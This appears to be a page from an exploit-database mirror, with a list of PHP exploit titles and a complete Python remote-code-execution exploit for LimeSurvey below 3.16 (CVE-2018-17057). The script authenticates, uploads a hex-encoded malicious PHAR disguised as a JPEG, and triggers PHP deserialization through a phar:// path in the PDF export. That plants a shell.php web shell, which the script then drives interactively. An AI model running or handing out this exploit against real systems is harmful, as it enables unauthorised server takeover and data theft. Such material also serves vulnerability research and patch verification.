Menu

Improved exploit search engine. Try it out

"LimeSurvey < 3.16 - Remote Code Execution"

Author

q3rv0

Platform

php

Release date

2019-04-02

Release Date Title Type Platform Author
2019-06-20 "WebERP 4.15 - SQL injection" webapps php "Semen Alexandrovich Lyhin"
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-12 "FusionPBX 4.4.3 - Remote Command Execution" webapps php "Dustin Cobb"
2019-06-11 "phpMyAdmin 4.8 - Cross-Site Request Forgery" webapps php Riemann
2019-06-11 "WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution" webapps php xulchibalraa
2019-06-10 "UliCMS 2019.1 'Spitting Lama' - Persistent Cross-Site Scripting" webapps php Unk9vvN
2019-06-04 "IceWarp 10.4.4 - Local File Inclusion" webapps php JameelNabbo
2019-06-03 "WordPress Plugin Form Maker 1.13.3 - SQL Injection" webapps php "Daniele Scanu"
2019-06-03 "KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities" webapps php SlidingWindow
2019-05-29 "pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Chi Tran"
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
2019-05-21 "WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities" webapps php "Simone Quatrini"
2019-05-21 "Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting" webapps php "Dionach Ltd"
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-20 "eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution" webapps php liquidsky
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-17 "Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution" webapps php "numan türle"
2019-05-16 "DeepSound 1.0.4 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-15 "Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting" webapps php LiquidWorm
2019-05-15 "CommSy 8.6.5 - SQL injection" webapps php "Jens Regel_ Schneider_ Wulf"
2019-05-14 "PasteShr 1.6 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "Schneider Electric U.Motion Builder 1.3.4 - 'track_import_export.php object_id' Unauthenticated Command Injection" webapps php "Julien Ahrens"
2019-05-14 "Sales ERP 8.1 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-05-13 "OpenProject 5.0.0 - 8.3.1 - SQL Injection" webapps php "SEC Consult"
2019-05-13 "XOOPS 2.5.9 - SQL Injection" webapps php "felipe andrian"
2019-05-13 "SOCA Access Control System 180612 - Cross-Site Request Forgery (Add Admin)" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - SQL Injection" webapps php LiquidWorm
Release Date Title Type Platform Author
2019-04-02 "LimeSurvey < 3.16 - Remote Code Execution" webapps php q3rv0
2019-03-04 "elFinder 2.1.47 - Command Injection vulnerability in the PHP connector" webapps php q3rv0
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46634/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46634/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46634/41081/limesurvey-316-remote-code-execution/download/", "exploit_id": "46634", "exploit_description": "\"LimeSurvey < 3.16 - Remote Code Execution\"", "exploit_date": "2019-04-02", "exploit_author": "q3rv0", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#!/usr/bin/python

# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
# CVE: CVE-2018-17057
# SecSignal is: <3
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]

import requests
import sys
import re

SESSION = requests.Session()

# Malicious PHAR generated with PHPGGC.
# ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg

PHAR    = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
           "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
           "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
           "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
           "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
           "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
           "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
           "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
           "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
           "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
           "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
           "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
           "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
           "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
           "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
           "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
           "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
           "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
           "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
           "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
           "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
           "\x42\x4d\x42")

def usage():
    if len(sys.argv) != 4:
        print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
        sys.exit(0)

def get(url):
	r = SESSION.get(url, verify=False)
	return r.text

def post(url, data={}, files=None, headers=None):
	r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
	return r.text

def getYIICSRFToken(url):
	res = get(url)
	token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
	return token[0] 

def getKCSRFToken(url):
	res = get(url)
	token = re.findall(r'csrftoken = "(.*)";', res)
	return token[0]

def login(url, username, password):
	token = getYIICSRFToken(url)
	data = {"YII_CSRF_TOKEN" : token,
	        "authMethod"     : "Authdb", 
	        "user"           : username,
	        "password"       : password,
	        "loginlang"      : "default",
	        "action"         : "login",
	        "width"          : "1366",
	        "login_submit"   : "login"
	       }
	res = post(url, data)
	if len(re.findall("loginform", res)) == 0:
		return True
	else:
	    return False

def emailTemplates(url):
    return get(url)	

def createSurvey(url_newsurvey, url_insert):
	token = getYIICSRFToken(url_newsurvey)
	data = {"YII_CSRF_TOKEN" : token,
	        "surveyls_title" : "Survey Example - SecSignal",
	        "language"       : "en",
	        "createsample"   : "0",
	        "description"    : "foo",
	        "url"            : "",
	        "urldescrip"     : "",
	        "dateformat"     : "1",
	        "numberformat_en": "0",
	        "welcome"        : "bar",
	        "endtext"        : "asdf",
	        "owner_id"       : "1",
	        "admin"          : "Administrator",
	        "adminemail"     : "test%40gsecsignal.org",
	        "bounce_email"   : "test%40gsecsignal.org",
	        "faxto"          : "",
	        "gsid"           : "1",
	        "format"         : "G",
	        "template"       : "fruity",
	        "navigationdelay": "0",
	        "questionindex"  : "0",
	        "showgroupinfo"  : "B",
	        "showqnumcode"   : "X",
	        "shownoanswer"   : "Y",
	        "showxquestions" : "0",
	        "showxquestions" : "1",
	        "showwelcome"    : "0",
	        "showwelcome"    : "1",
	        "allowprev"      : "0",
	        "nokeyboard"     : "0",
	        "showprogress"   : "0",
	        "showprogress"   : "1",
	        "printanswers"   : "0",
	        "publicstatistics" : "0",
	        "publicgraphs"   : "0",
	        "autoredirect"   : "0",
	        "startdate"      : "",
	        "expires"        : "",
	        "listpublic"     : "0",
	        "usecookie"      : "0",
	        "usecaptcha_surveyaccess" : "0",
	        "usecaptcha_registration" : "0",
	        "usecaptcha_saveandload"  : "0",
	        "datestamp"               : "0",
	        "ipaddr"                  : "0",
	        "refurl"                  : "0",
	        "savetimings"             : "0",
	        "assessments"             : "0",
	        "allowsave"               : "0",
	        "allowsave"               : "1",
	        "emailnotificationto"     : "",
	        "emailresponseto"         : "",
	        "googleanalyticsapikeysetting" : "N",
	        "googleanalyticsstyle"         : "0",
	        "tokenlength"                  : "15",
	        "anonymized"                   : "0",
	        "tokenanswerspersistence"      : "0",
	        "alloweditaftercompletion"     : "0",
	        "allowregister"                : "0",
	        "htmlemail"                    : "0",
	        "htmlemail"                    : "1",
	        "sendconfirmation"             : "0",
	        "sendconfirmation"             : "1",
	        "saveandclose"                 : "1"
	       }
	res = post(url_insert, data)
	surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
	return surveyid[0] # Return SurveyiD

def uploadPHAR(url_upload, url_csrf_token, phar):
	kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
	files = {'upload[]': ('malicious.jpg', phar)}
	data  = {"dir"                : "files",
	         "kcfinder_csrftoken" : kcfinder_csrftoken
	        }
	res = post(url_upload, data, files)
	return res

def pdfExport(url_pdf_export, surveyid):
	token = getYIICSRFToken(url_pdf_export + surveyid)
	data = {"save_language" : "en",
	        "queXMLStyle"   : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
	        "queXMLSingleResponseAreaHeight" : "9",
	        "queXMLSingleResponseHorizontalHeight" : "10.5",
	        "queXMLQuestionnaireInfoMargin" : "5",
	        "queXMLResponseTextFontSize" : "10",
	        "queXMLResponseLabelFontSize" : "7.5",
	        "queXMLResponseLabelFontSizeSmall" : "6.5",
	        "queXMLSectionHeight" : "18",
	        "queXMLBackgroundColourSection" : "221",
	        "queXMLBackgroundColourQuestion" : "241",
	        "queXMLAllowSplittingSingleChoiceHorizontal" : "0",
	        "queXMLAllowSplittingSingleChoiceHorizontal" : "1",
	        "queXMLAllowSplittingSingleChoiceVertical" : "0",
	        "queXMLAllowSplittingSingleChoiceVertical" : "1",
	        "queXMLAllowSplittingMatrixText" : "0",
	        "queXMLAllowSplittingMatrixText" : "1",
	        "queXMLAllowSplittingVas" : "0",
	        "queXMLPageOrientation" : "P",
	        "queXMLPageFormat" : "A4",
	        "queXMLEdgeDetectionFormat" : "lines",
	        "YII_CSRF_TOKEN" : token,
	        "ok" : "Y"}
	res = post(url_pdf_export + surveyid, data)
	return res        

def shell(url):
    r = requests.get("%s/shell.php" % url)
    if r.status_code == 200:
       print "[+] Pwned! :)"
       print "[+] Getting the shell..."
       while 1:
           try:
               input = raw_input("$ ")
               r = requests.get("%s/shell.php?c=%s" % (url, input))
               print r.text
           except KeyboardInterrupt:
               sys.exit("\nBye kaker!")
    else:
        print "[*] The site seems not to be vulnerable :("

def main():
    usage()
    url      = sys.argv[1] # URL
    username = sys.argv[2] # Username
    password = sys.argv[3] # Password
    url_login = "%s/index.php/admin/authentication/sa/login" % url

    print "[*] Logging in to LimeSurvey..."
    if login(url_login, username, password):

        url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
        url_insert = "%s/index.php/admin/survey/sa/insert" % url

        print "[*] Creating a new Survey..."
        surveyid = createSurvey(url_newsurvey, url_insert) 
        print "[+] SurveyID: %s" % surveyid

        email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)

        emailTemplates(email_templates)

        url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
        url_upload     = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url

        print "[*] Uploading a malicious PHAR..."
        uploadPHAR(url_upload, url_csrf_token, PHAR)

        url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url

        print "[*] Sending the Payload..."
        export_response = pdfExport(url_pdf_export, surveyid)
        print "[*] TCPDF Response: %s" % export_response

        shell(url)
    else:
        print "[-] Bad credentials :("

if __name__ == "__main__":
    main()